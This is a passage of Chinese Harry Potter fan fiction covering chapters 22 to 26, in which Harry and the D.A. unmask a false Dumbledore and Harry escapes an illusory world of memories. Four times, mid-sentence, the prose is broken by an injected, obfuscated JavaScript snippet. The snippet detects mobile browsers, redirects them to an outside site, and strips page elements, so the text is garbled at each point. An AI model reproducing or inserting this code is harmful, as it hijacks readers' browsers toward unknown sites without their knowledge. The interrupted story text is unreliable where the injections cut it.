邓布利多今夜最后一次挥动了魔杖。办公室的门打开,他本人从窗口消失,留着哈利站在那里面对门后黑黝黝的一大群人。 “万弹齐发!” 喊出咒语的是赫敏。 22. 假如哈利不得不同昔日伙伴战斗 “万弹齐发!” 随着赫敏的声音,数百只金色的鸟儿像炮弹一样飞出。今夜霍格沃茨在下雨,雨水是一片粘着一片的金黄。那些鸟儿铺天盖地般贴着哈利的脸飞过,却不攻击他,而是一只又一只地扑向邓布利多柜子里陈放的玻璃瓶,瞬息间,传来那些瓶子粉碎的声音。 液体在流淌,记忆在归去。哈利并不转身,背在身后的手臂一挥: “除你武器。” 屋子里的鸟儿越来越多,一部分在赫敏的指挥里配合着哈利的魔咒飞向窗外。窗外闪过彻天的红光,很快,那些喙里衔着袍子一角的鸟儿带着飘在窗外看戏的邓布利多回到屋里。 哈利脸上泪痕未干,但整个人异常平静。他的手上握着两根魔杖。 相比哈利,邓布利多显得有些吃惊: “在等我主动说出这些记忆被储存在哪里吗,哈利?什么时候布的局?” 校长办公室里,正在形成邓布利多预计看到的对峙局面———和邓布利多计划里不一样的是,哈利并未向他的同学伸出魔杖,反而是哈利和他的同学同时面向他邓布利多拔出了魔杖。哈利等人虽然占据着人数上的优势,还先声夺人夺走了邓布利多的魔杖,但紧张的情绪仍然不可避免地在他们之间蔓延:哈利记得邓布利多曾经说过,有的魔法不需要魔杖。 所以双方竟保持着一种微妙的平衡 “在你宣布大脑封闭术的时候。按理说,你本拥有记忆,如果和我们站在一方,从一开始就应该在学校范围开设大脑封闭术的课程。可是你没有,你一直到我已经想起一切,才授权斯内普……”说着,哈利看了一眼赫敏。 赫敏的声音有些颤抖,但她很干脆地接过哈利的话头:“从另一个视角来看,在您召集所有人集会并揭露关于这个世界的部分真相之后,我们并没有继续学习大脑封闭术,也没有人施展大脑封闭术,但我们无一例外全部都想起了现实里发生的一切,所以我们的记忆一定是被人刻意释放的,联系时间节点,您最有嫌疑。” “除此之外,邓布利多教授,您或许不知道,D·A———几乎全是老成员,也就是霍格沃茨在读学生里最擅长黑魔法防御术的一群人,一群已经真刀实枪对上伏地魔的人———现在它只叫D·A,不再被称呼为邓布利多军———在你的命令之前就有过相关尝试,却一直无法阻止记忆被修改。因此,第一次学习大脑封闭术的其他同学一下子就掌握了这种高深的魔法,这一点本身也足够可疑。” “当然,仅凭这些内容,很难判断您到底是整个事件的操纵者,还是通过不懈努力打破横亘在这个世界与现实之间的重重障碍的破局者。所以我们还比对了其他更细节的信息。纳威有提到他一度想起了伏地魔有关的内容,却受到限制无法说出真相;紧接着您就当众宣布了这个乌龙。这很难不让人怀疑您是否意在挑起哈利与纳威之间的矛盾。” “接着,哈利又收到了您的纸条。为了试探您的立场,我们做了一番安排,并由我负责过来偷听你们的对话。” “所以,我观看了您模拟世界的整个过程……” “你们二人的谈话我也听得很清楚……邓布利多教授,恕我直言,你的行为真的很让人不解,这让我们不得不怀疑你是不是我们从前认识的的邓布利多。” “我不得不无礼地打断你,格兰杰小姐,我很好奇,你究竟是怎么做“观看”这个行为的?你们又是怎么挣脱控制回想起一切的?你们的记忆,不都存在这些玻璃瓶里吗?” “这就要感谢斯内普教授了……还记得摄神取念吗?您并没有阻止我的提议,所以斯内普教授在课上教授了这门魔法。不巧的是,这门魔法我们学起来非常轻松。所以,我们跟哈利商量好了,从他前往您的办公室开始,他的大脑就一直和我们D·A的成员共享着。我们观看他所观看的,我们倾听他所倾听的,我们同频他所思考的。所以,即使你收回了我们的记忆,我们也能很快做出关于‘应该相信什么’的判断。” “这是一场好赌啊哈利……你怎么敢的?伏地魔对你做过的那些你全忘记了吗?你怎么敢又一次把自己的大脑完全开放给他人?” 站在赫敏旁边的罗恩率先笑出声来:“有没有搞清楚,伏地魔和我们能比吗?我们是完全可信的一起并肩作战过的朋友好吗?” “另外,为了避免自己对在哈利脑海里看到的景象产生怀疑,”罗恩卷起袍子的长袖,露出手臂上的一道伤疤,“我们受到哈利之前被关的某次禁闭启发,每个人都用这种办法提醒自己。” 哈利离罗恩不远,看见了那明显是用钢笔歪歪扭扭刻出的一句话: 我必须相信哈利。 “我们不可能不相信自己的。不管记忆怎么被扭曲被修改,自己的字迹总还是认识的嘛。摸一摸这几个字,自动就能想起刻字的时候那种痛法。痛感总是能很好地激起我们的记忆———事实证明,对自己狠一点有时还真管用。”罗恩的笑容很热烈,他身后的那些同学也是。他们一个接一个挽起衣袖,满眼装着对哈利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193146|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼓励。 金妮站在哥哥身边,她的头发那样耀眼,热烈得像一簇永远不会熄灭的火,一下子就晃进了哈利心里。“哈利,在这种情况里,我们也帮不了你什么,只能坚定地选择相信你。希望这份相信,能多给你一点鼓励。” 哈利眼眶又红了一次。 “别担心,伙计,邓布利多不说了嘛,我们都只是意识的投射,只要你能想办法带我们出去,我们的手臂保管完好无损。到那时候,我们再一起跟伏地魔大干一场!”罗恩看见了哈利再次变红的眼眶,他挤挤眼睛,伸出手,想拍拍哈利的肩膀。 但他和哈利中间隔着一个邓布利多。 哈利望向他们的眼睛里,也有因为这段话里某几个词而生发的叫罗恩看不懂的伤悲。 “咳咳,煽情的环节咱们留到后面,先解决眼前的问题要紧。我刚刚的话还没说完,”赫敏给乔治使了个眼色,后者立马就在他的袍子袖子里翻找起来。赫敏转过头,对邓布利多说,“我们不得不怀疑你是不是我们从前认识的那个校长,所以我又大胆地做了一番猜测和验证。” “邓布利多教授,我们姑且继续这样称呼您,我这里有几个问题需要请教您。” “第一,您为什么拥有这个世界的权限?据我所知,复活石是实体,只有依然拥有血肉之躯的人才有可能触碰他?” “第二,假如我们真的处于复活石所模拟的完美世界,您为什么要调换纳威和哈利的身世?这对于这个世界的基本逻辑有什么影响吗?” “第三,请您看这幅活点地图。活点地图从不说谎,从不出错。那么,明明现在站在校长办公室的就是我们D·A和您,这幅地图上为什么会出现这个名字?” 说完,赫敏像是并不在意第一、二个问题的答案一样,迅速从罗恩手里接过了那张羊皮卷———说起来,还得感谢哈利,他因为觉得自己不大有几率使用这幅地图,相当大方地把它送给了乔治———“再加上重新我实在好奇新版地图和旧版地图的区别,把两张都她用魔杖敲了敲空白处: “我保证我只做好事!” 线条弯弯曲曲开始延伸,地图逐渐显现。赫敏拿着地图,递到邓布利多的半月型镜片前。 趁着邓布利多极为专注地看向地图的一瞬间,从羊皮卷里飞快地飞出一只蝙蝠糊住了他的镜片。在邓布利多费力地伸出手去抓那只蝙蝠时,罗恩悄悄给金妮比了一个大拇指,站在邓布利多背后的哈利再次掏出了魔杖: “摄神取念。” 23. 假如哈利学会了摄神取念 葱葱。 郁郁。 那是一片笼罩在阴影里的林子。左边无灌木,右边无玫瑰。一点金光,一抹绿色,便是这林子里,算得上奢侈的点缀。 烈火已经熄灭了。枯枝盖住了它们的余烬。没有人大声说话,连蝉也收敛了音迹。 淡淡。 今夜是冷冷的淡淡。 淡淡得叫人想立马抽身飞去。去做一只鸟,哪怕天空再看不见另一只鸟的痕迹;在无边的默然里鸟应该振一振翅膀,自由的羽毛不忍做阴影的囚徒。抬头望天,扪心却不自问。是一只鸟,鸟唱着安静的世界里唯一的歌。 空中飘来好多云,每一朵云都攒了一点雨。没有人在今夜为这只鸟哭泣,因为他们不知道这只鸟在哪里。 以后啊,鸟的故事,就要等别人来讲给别的人听。 …… 可是鸟不甘心。 鸟不明白鸟为什么一定要是鸟。 鸟不做鸟了。 鸟变成了一只小猪。 小猪哼哼歪歪,懒懒散散,或许能好好地享受生活。 谁也不能逼一头猪飞上天空,猪从来不会张开翅膀。猪和天空的距离是一双眼睛,看见了蔚然地蓝,就拥抱了所有云朵。 可是啊,猪不甘心做一头猪。猪听见了霍霍的磨刀声,看见了屋子后面袅袅的炊烟;猪不愿意和其他的猪一样,麻木地为谁的餐桌递上洗干净的脖颈。 所以猪或许应该逃跑。猪突然想起,变成猪之前,猪曾经是一条蚯蚓,钻进地里,靠着沉淀百年的泥土,掩去自己的踪迹。等到太平时,再探出一个脑袋,骄傲地炫耀着逃脱的自己的神气。 蚯蚓不喜欢光,不喜欢白昼的来临。蚯蚓依赖着那些已经腐烂的植物过活,却依然沾沾自喜。 蚯蚓也有过做一只蝴蝶的经历。挥舞着蓝色的翅膀,在花田的芬芳里嬉戏;蝴蝶也曾学它的亲戚飞蛾,莽撞地去靠灯罩里的那一筷火。那样张扬,那样热烈,那样灼灼。烈火焚烧过后,漫天不见扬尘,哪里还有什么蝴蝶的影子…… 啊! 所以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193147|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪来的什么蝴蝶、蚯蚓、鸟、猪? 一切都是幻觉,一切都是炫目的光芒带来的幻觉! 火愈烧愈烈。 火里没有布满尘埃。 火里走出一头狮子。 狮子高昂着头颅,挣脱着四肢缠绕的铁索。 是狮子,是困兽,是狮子当了困兽,还是困兽扮演着狮子…… 听! 累极了入睡了的狮子正在梦里怒吼! 梦里,狮子是挣脱了囚笼的狮子。 …… 在记忆之河漂流而过。 一度淡忘。 而今他感到, 风的来去匆忙。 他回想起往昔的如许时光。 生活,爱情,一场冒险和另一场冒险。[1] “曾经。 我们梦见彼此陌生。 醒来。 却发现我们 原本心心相通。”[2] ———所谓“我们”,是同一个人。 24. 假如他是…… 假如偷听者带着特里劳妮的呓语回到主人跟前时,伏地魔认为预言对应的是纳威而不是你…… 假如千百只猫头鹰扯着信件飞过伦敦雾气蒙蒙的天空时,不是海格来木屋里接到你…… 假如穿过九又四分之三站台来到隆隆的列车上后,坐在罗恩旁边的不是你…… 假如全校师生的注视里,在金碧辉煌的餐厅被分到格兰芬多的你年级新生里没有你…… 假如你不是三人组里的一员…… 假如圣诞节没有韦斯莱夫人给你寄袜子…… 假如斯内普、小天狼星、卢平从来没有出现在你的生命里…… 假如邓布利多从不教给你如何去爱,却给你无边的犹疑,陈腐的仇恨,未知的恐惧;他给你成为汤姆·里德尔需要的一切,放大你的阴暗,囚禁人性的光明…… …… 你说,世界上会不会多一个汤姆·里德尔? 会的吧,哈利,会的。 我将硬币抛起,你来猜,向上的是哪一面? …… 麻瓜世界。 达力·德思礼正在上课。 他从前不是一个喜欢出现在课堂里的学生。比起坐在教室里听年纪和胡子一样一大把的老师念叨那些课本上已经被念出过千百回的句子,他更喜欢带着他的跟班们,出没在教学楼之外,出现在可以涂鸦、打架、玩滑板的地方,推着发出丁丁声的昂贵赛车,在穿过游乐场时哼哼一首粗俗的歌。 他有一个很爱很爱他的爸爸。他有一个很爱很爱他的妈妈。他的家里还住着讨厌他的表弟,但是没关系,他也不喜欢那个瘦瘦的男孩。 直到那一天。 达力·德思礼永远记得那种寒冷、恐惧撕扯着空气向他张开大口的感觉,小巷两旁的路灯突然消失,汽车的隆隆不再被听见;也永远记得自己的表弟如何在那天颤抖着举起魔杖,唤来一只巨大的银色牡鹿撞开那只黏糊糊的手和兜帽后的亲吻。 这之后,达力·德思礼不再戴着他那副有色眼镜看待“巫师”“魔法”这些离他很远很远的名词。他无聊的时候常常想,既然这个世界里巫师和普通人同时存在着,那么相比于那些本领高强的巫师,普通人的生活又算什么? ———难道巫师们也每天上课,做做不完的作业,抱怨某个讨厌的人或者讨厌的事,交几个知心的好朋友;去参加圣诞节舞会,去参加各种俱乐部,周末泡泡酒吧,合适的时候谈场恋爱,和朋友一起看球赛;如果足够优秀,或许还会成为一些人的偶像…… 达力被自己的想法弄笑了。 两年半后。 达力·德思礼一家已经搬离女贞路四号有些日子了,生活还是和原来一样地过:新房子和旧房子一样宽敞漂亮,弗农·德思礼依然每天对报纸上的内容大发评论,佩妮·德思礼依然每天对邻居的生活指指点点,达力依然会在特殊的日子里收到堆成小山的礼物。只是在看向储物间的时候,在看向屋子里最小的那间卧室的时候,达力偶尔会觉得这屋子里还是少了一个人———虽然没有人承认,但和哈利一起生活了十八年的他们并不习惯这个勉强算得上被他们带大的孩子的告别———佩妮摆餐盘的时候有时会多拿一套,7月31日的时候弗农会拿出一枚硬币然后又收好,达力去动物园的时候也会想念他的表弟。某次大扫除,佩妮姨妈清理东西的时候在屋子的一角找到了一些很奇怪的玩意: 一枚自己会移动的纽扣。 一支写出的字会消失的羽毛笔。 不需要谁的提醒,德思礼一家一下子弄明白了这些东西的主人是谁。弗农·德思礼正要把他们一把扔出窗外,佩妮·德思礼突然伸手拦住了他: “跟莉莉有关联的东西,似乎只剩这两个小玩意了……” 如果哈利在场,一定会对佩妮姨妈把自己算作“东西”的行为感到啼笑皆非。但哈利此刻不在这里,所以他也没看到佩妮脸上一闪而过的伤感。 这些东西最终还是被保留在了新居所里。在达力的要求下,由他来保管表哥忘记带走的这一枚纽扣和一支笔。 达力·德思礼对巫师世界的一切好奇很久了———尤其在他放弃那些父母强加给他的成见之后———表弟的物品给了他这个机会。 他抓起那支笔,在草纸上随便试着写了写,字迹果然很快消失不见了。 那行字迹是一个提问: 你的生活是什么? …… 生活是什么? 隧道的最远端,这行字在闪闪发光。 在邓布利多的脑海里,哈利发现自己正骑在扫帚上,他的面前是一条又黑又长的隧道,让他突然想起第一次进入霍格沃茨的时候走过的那条完全漆黑的路。 他慢慢地往前飞,前方的隧道壁上开始出现一两只金色的小鸟。小鸟扑闪着翅膀,随着哈利的靠近恍然渗亮了他眼前的黑暗。原来是一把又一把长着翅膀的钥匙,能通往一扇有一扇藏在隧道里的门。哈利在其间穿进,穿出;飞舞的钥匙越来越多,进入的新空间越来越多。 新空间里别无它物,只藏着一种答案: 生活是一种学习。赫敏泡在图书馆里,纳威在温室里观察着各种草药,哈利疯狂地吸收着不同的黑魔法防御咒,把理论应用在实践里一次又一次……或许有一天,赫敏会成为魔法部部长,纳威会成为草药学教授,哈利会成为一名傲罗……他们武装着未来的自己,以便自己能以一种从容不迫的速度跨越宇宙的全境,为未来的荣光快活。 生活是一种冒险。因为不知道界限在哪里,一切都要靠自己去试去闯,带着勇气的崇高肆意地与暴风雨激战,消弭浮世的哭喊,带上浮世的欢畅,见高山之高不退却,见深林之深不胆寒,在无限次的尝试高歌着向前奔跑,歌声因勇气的丰沛而嘹亮。小的冒险或许是魁地奇世界杯上的一个赌注,不大不小的冒险或许是对角巷里靠着一袋奖金开起来的笑话店,大的冒险或许是投身一场敌我悬殊的战斗,却因为某种坚守选择战斗到无法再战斗……这就是冒险,冒险因未知而有趣。 生活是一种使命。赫敏总想着解放家养小精灵,斯内普总想着保护莉莉的孩子,贝拉总想着服从主人的命令,邓布利多总想着守护霍格沃茨的安定……纵使一颗心覆上霜,浑身战栗,眼泪汪汪,也因为这样那样的爱柔软了目光,勉力拉着连接此岸与彼岸的绳索,站在小小的渡船上支撑着希望。每个人生来都带着这样那样的使命,也因为这样那样的使命,他们成为了他们自己。 生活是一种关系。这个世界有那么多人,人总是会和别的人产生关系。莉莉和哈利是母子关系,金妮和哈利是情侣关系,罗恩、赫敏和哈利是朋友关系,邓布利多、斯内普和哈利是师生关系,伏地魔和哈利是敌人关系……这些关系就好像一个又一个单独的点之间的连线,世界就是这样联系起来的,人们也因此不必成为孤岛———小岛和小岛之间,总是有不间断行驶的水上列车。 生活是一种故事。和哈利一样大的孩子听着哈利的故事长大,比哈利大的孩子听着邓布利多的故事长大。生活的故事里,你要以自身的胸怀创造整个世界,在安抚那些被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193148|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带出的潦草线头,直到一切平整光洁,配得上想象中的欢闹喧腾。你会在其间选择扮演什么样的角色?你选择编写一段什么样的情节?你希望引向一个什么样的主旨? 哈利,你可以成为,你的故事里,你选择的那个人…… 哈利开始快速地向前冲刺,就像每一次为了抓住金色飞贼发起的俯冲。隧道前方那个问题跳动着闪光,驱使他不断靠近并伸出渴望的手掌。他穿过那条长长的银白色的隧道,穿过那些带着画面的答案,光芒在他的前方跳跃,回忆正在变成他背上银白色的翅膀。 他一直向前,看所有的光汇成一片,看所有的阴暗都消失不见。他似乎也变成了那么多飞舞的钥匙中的一枚,无数光点中的一颗,他飞快地驱动着他的扫帚,一尺比一尺坚定,一尺比一尺执着。 我选择成为一个无私的人。 翅膀上的某一片羽毛里:哈利把奖金赠送给了韦斯莱双子,他把火焰杯比赛有关的线索分享给塞德里克听,芙蓉和她的妹妹在霍格沃茨的大湖旁因他的相助相拥而泣…… 我选择成为一个善良的人。 翅膀上的某一片羽毛里:莫丽流着眼泪感谢救了韦斯莱先生的哈利;获得自由的多比抓着因哈利而得到的袜子欢喜;哈利和罗恩为了赫敏抵抗巨怪,从此收获了珍贵的友谊…… 我选择成为一个热心的人。 翅膀上的某一片羽毛里:哈利抓住了纳威被抛开的记忆球;哈利陪海格去禁林看望他的蜘蛛他的弟弟;摄魂怪的突袭里,他挡在达力·德思礼面前…… 我和赫敏罗恩一起保护了魔法石! 我在福克斯的帮助里战胜了蛇怪! 我和赫敏穿越时间救了自己和小天狼星! 我带回了伏地魔复活的消息! 我和赫敏他们一起创建了D·A! 我和赫敏罗恩依循邓布利多的指导销毁了六个魂器! 我选择进入格兰芬多而不是斯莱特林,我选择与罗恩赫敏交朋友而不是拜金,我选择走上邓布利多希望我走上的道路而不是苟且偷生。 这其间艰难困苦,好在我听从内心,走在人间正道。 不是伏地魔的选择让我成为了哈利·波特! 而是我,我哈利·波特自己,我主动选择,选择成为哈利·波特! …… 伤疤一阵剧痛。 周遭一阵狂风。 他到达了。哈利努力地睁开眼睛。渡过万千记忆的微光,在反省与审视里看清自我的价值,奔跑在“邓布利多”脑海里的哈利终于走到隧道的终点:那是一片安静的林子的中央。哈利暂时没看见金色飞贼的影子。 但那里有一个笼子。 笼子里有一个抱着膝盖缩成一团的男孩。 男孩有一双绿色的眼睛。 眼睛上方是一道闪电型的伤疤。 那不是邓布利多。 那不是困在对一双羊毛袜的执念里的邓布利多。 那不是汤姆·里德尔。 那不是困在对血统的执念、对证明自己的执念里的汤姆·里德尔。 那是哈利。另一个哈利。另一个被关在笼子里的哈利。 笼子里的哈利的手里握着一枚硬币。 硬币或许已被抛起,并回到了他的掌心。 只是他的拳头捏得很紧。 他不敢看:躺在掌心的那枚薄薄的金属物,究竟是哪一面朝上。 …… 他是哈利·波特。 …… “哈利,哈利!” 25. 并非“假如” “哈利,哈利?” 是来自谁的呼唤? 林子中央,笼子背后,不知道什么时候聚集了一大群人。他们穿着长袍,没有拿魔杖,浑身泛着银白色的光。 “哈利,哈利!” 他们冲他挥挥手,露出最温柔的微笑。 哈利高举起自己的魔杖: “等等我!我马上来到你们身边!” 十一英寸的冬青木魔杖对准笼子里蜷缩的那个男孩,哈利的脑海里闪现过来到这个世界后经历的一幅幅画面,破坏咒已经来到哈利嘴边:他要亲手斩杀这幻觉的来源———他心中的恶念。 “哈利,哈利!你再仔细看看!” 哈利的伤疤又是一阵剧痛,似乎有什么被撕扯开的东西在顺着这道闪电型的伤疤慢慢缝合。剧痛平息之后,哈利伸出手摸了摸额头,那里光洁如新,仿佛从未受伤。 哈利定了定神,向四周看去。四周金属的笼条向上生长,仿佛这片林子里一圈怪诞的树。哈利就在这圈树木的中央,以婴儿的方式蜷缩着,掌心里某种金属的一点动静提醒着他一切不再是梦。 原夹他就是哈利,哈利站在笼子里。原来他就是心中应该被消灭的恶,原来他也是心中一直执着的善。一体两面,一人两相,他是那头被囚禁的雄狮,正隔着笼子,与那群人对望。 “来呀,哈利,来呀!” 面向人群的方向,笼子上开了一个小门,门上有一把锁。哈利从蜷缩的姿势里站起身来,头发扫过笼子顶端。他打开手,那枚硬币浮在手心,朝上的既不是正面,也不是反面;硬币一直稳定地旋转 着,闪动着金属的光泽。 哈利再次捉佳它,它渐渐变得安静,就像振动的翅膀终于收回身体,哈利手里少了一枚硬币多了一枚小球,一枚金灿灿的、刻着字的、装着石头的小球。 一枚金色飞贼。 哈利再端详那把做工很精致的锁,锁上没有锁孔,应该是锁孔的位置,也被很小心地刻了一行字: To be or not to be. 哈利不再犹豫,他郑重地把嘴唇贴上金色飞贼,在那里印上一个吻,然后闭上眼睛,把小球奋力往后一掷。闭上眼睛的那几秒里,一道金光飞快地跃过他的头顶,钻进身后的禁林里不见了踪迹。如果小泰勒恰好看见这一幕,他一定会拍着手说: “看啊!流星!” 今夜有像流星一样美的东西。 不再回头。哈利呼出一口气,睁开眼睛。门上的锁已经消失了。他用力推开门,大步走向那群等待已久的人。 “哈利,哈利!” 他看见了卢娜,纳威,韦斯莱一家,赫敏,金妮,麦格教授,斯内普,小天狼星,卢平,唐克斯…… 好多好多人。 他们都站在那里,微笑地看着他。 一瞬间模糊了此岸与彼岸的界限。 哈利一边喃喃:“怎么做到的!这简直不可思议!”,一边毫不犹豫扑进人群最前端那一对夫妻的怀抱。一头黑发桀骜不列的男人高兴地一把接佳他,长着漂亮绿眼睛的女人吻在他的额头。 银光闪烁。 奇妙的温暖一层又一层包裹在这个快乐得流眼泪的男孩周围,喜悦的情绪一次又一次被调动直到他们泛起银白色的波浪。人们一个一个围拢到这一家三口身边,牵起手,低声地歌唱。 这里爆发出一阵强烈但不刺眼的银光,直到把整片禁林照亮。 雾气从世界的边缘一圈一圈蔓延过来。 这个世界的一切像拼图被一块又一块拆开。 现实的图景像潮水一样疯狂地涌入进来,覆盖住被修改的一切,然后再隐入白雾。那些进溅的火星、战斗的怒吼、对峙的人群,都渐渐地消失在雾里…… 看不见了。 林子的不远处传来一个人的嚎哭和一群人的尖叫。哈利听见一个女人在喊: “主人,主人?” 听见一个男人在喊:“哈利,哈利?” 面上隐隐有些被一双柔软的手抚摸的感觉,但此刻妈妈的手正抚摸着哈利的头发,爸爸的手正揽着哈利的肩膀。 这里没有第三个人在触碰哈利,哈利的记忆里突然闪过一些碎片,他的面色变得苍白起来。他猛然地从与父母团聚的惊喜里抬起头来,绝望地带着泪地把目光投向金妮、赫敏、罗恩、纳威、卢娜、麦格教授、韦斯莱夫妇…… 投向他那些本应该留在世上的师长与好友。 金妮最先读懂他的绿眼睛,她轻快地笑着,在离得有些远的地方安抚这头流泪的雄狮: “别担心,哈利,我们还活着。出现在你眼前的,怎么说呢,是我们,但也不是我们……” 伴着金妮的声音,白雾终于来到他们的近旁。哈利看着白雾从树木的根系爬上树梢,绿色的叶片一点一点沾满了水汽。最后隐去的是那片林子。举目皆是白茫茫一片。 人群的身影开始渐渐变得飘渺,手拉着手的他们慢慢升向天空。哈利怅然地又一次闭上眼睛,等待着那种漂浮的状态,等待着另一场伟大冒险向他发出召唤。 可是没有。 哈利的双脚依然踏在坚硬的土地。 哈利猛地睁开眼睛。 “为什么?妈妈?爸爸?赫敏罗恩?金妮?纳威卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193149|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娜?教授?你们要去哪里?” 白雾愈浓,银光愈强,许久未和哈利见面的斯内普难得温柔地开口: “哈利,还记得我和你说,这个世界的人,都是现实世界的意识投影吗?” “是的,先生。我还记得你说过,只有打破幻境,现实中的人们意识才会完整!” “哈利,抱歉……我骗了你,这是我唯一一次骗你。我骗人的天赋如此高超,竟然没叫你从蛛丝马迹里察觉到有什么问题(如果不是在现在这样的情况里,对你我可不会有像现在这样的耐心,还跟你解释一切的真相,我只会拧住你的耳朵,嘲讽你,伟大的哈利·波特的粗心),事实上,这个世界里只有一个人是意识的投影。” “那就是你,哈利。” “而我们,哈利你看好了,这也是我给你的真正的最后一课,我们是———” 穿透白雾,记忆回溯,哈利听见来自过去的无数熟悉的声音高喊出一个咒语: “呼神护卫!” 白光彻底绽放。 “哈利,你念这个咒语的时候,要多想想很快乐的事。” “很好,你们已经能召唤出模糊的银白色雾气了!很好!再多试几次!” “老弟,你刚刚想的最快乐的事是什么?乌姆里奇被赶出霍格沃茨?哦天哪,我也是!” “看清楚了,要我说多少次,这是山羊!山羊!” 一个银色的守护神穿过客厅的窗户,变成了银色的鼬鼠,用罗恩父亲的声音说话了:“家人平安,不用回复,我们被监视了。” “是西莫的守护神!他们来帮我们了!” 哈利跟着那头漂亮的牡鹿向前走,在大湖的中央,遇见了格兰芬多的宝剑…… “Always……” 三头牡鹿,一只狐狸,一只水獭,一只兔子,一头狮子…… …… …… 人群终于彻底消失在白雾里,隐隐留着守护神的轮廓。它们被银色的光晕层层包裹,逐渐汇聚成哈利头顶上方的天空中那银白色的太阳。 太阳照亮了他。 太阳暖和了他。 哈利伸出手,捧住一片光,他听见那些被亲人、朋友、师长唤出的守护神最后的声音: 哈利,我们会一直陪着你! 你不是一个人在战斗。 哈利明白,他已经在无限光明之中了。 他已经拥有了无穷的快乐。 带着这样的快乐眺望远方, 远方, 远方, 远方传来火车的轰鸣。 那里有一场柠檬味道的雨。 26. 并非“假如” 窗外一片柠檬雨。 淋淋沥沥,香甜且恒久不停。 哈利坐在一列快速移动的火车上,车窗外是一团又一团蓬松的白雾,像晒够了阳光的棉花,攒在这里簇拥一个温暖的梦乡。耳朵听见了白雾之外雨水敲击地面的声音,千遍万遍,千遍万遍。 那是雾的森林。 那是雨的森林。 哈利看了看自己,身上没有穿衣服。好在这里似乎能读懂他的不舒服,很快从空中飘来一件崭新的长袍。哈利把长袍套在身上:柔软,干净,暖呼呼的。他隔着火车的窗子打量自己:雾气、雨水、深浅不一的暗色;天空、可见的太阳、无处不在的光芒;这些在他的身体里面都有。他像一颗长在雨季的轻熟柠檬,潮湿的,但是能预见晴朗。 不知道什么时候,对面的座位上多了一个小个子巫师,戴着紫色的帽子,掩盖住了面容。哈利见过他,在幻觉里的对角巷,在模拟中的第二天;他见过他,他曾捡起他的硬币。 “早上好,哈利。” “早上好,邓布利多教授。” 小个子巫师顿了顿,却并不显得惊讶。银白色的胡须很快互相缠绕着从他光滑的面颊上生长出来,越长越长,越长越长,直到它们像植物的根须和同样新生发出的银白色头发交织在一起,从容不迫地蔓延到他的身边。小个子巫师在逐渐变得高大、挺拔,身上的衣服被一件飘逸的深蓝色长袍代替;平地拔起的鹰钩鼻上,一副半月型镜片微微反光,露出哈利记忆里最熟悉的蓝眼睛。 “哈利。你这个出色的孩子。你这个勇敢的、善良的、坚定的男子汉。什么时候发现的?” “就在刚刚,先生。我突然意识到幻觉世界里从来不存在神秘人,所以幻觉里面的人们无法主动谈起这个话题,但我第一次见到你的时候,你就很自然地告诉我: 纳威·隆巴顿也在你们这一届吧?真是了不得———能从神秘人手下逃脱———哪个成年巫师能赶得上他。” 邓布利多赞许地笑了笑。 “所以,我们在一列火车上?” 那副在白雾里被拆散的拼图出现在哈利面前的桌子上。他拾起其中一片,然后是另一片。他把它们按现实的顺序重新拼在一起,虽然每一块都和幻觉里的位置不同,但最终拼成的的图景相同。随着最后一块拼图归位,无边的空白终于被填满,近旁传来婴儿的啼哭,哈利看见了他,哈利不去管他。 “哈利,这取决于你。你认为我们在哪里,我们就在哪里。既然你认为我们在火车上,那么——— 邓布利多掏出一块怀表,看了看时间。指针从从容容地跳跃一个又一个的间隔,伴着火车前进的隆隆,和着哈利胸腔里的心跳。 “哈利,你已经坐了一站路。火车马上到站了,你还要再坐一站吗?离开火车不会像步入禁林那样艰难,不会像抛起硬币那样值得紧张,但这里温暖、宁静、明亮,而你知道你要回去面对痛苦,面对恐惧。 哈利叹了一口气。 他站起身,在他的老师面前摊开手,耸了耸肩膀: “先生,比这里更温暖、宁静、明亮的地方我刚刚去过不是吗?但显然,我不属于那里,我的冒险还没有结束,还有那么多人在轨道之外等待着我!” “先生,你教给我,要怜悯活人。暂时,我是说暂时,我不能回头……” 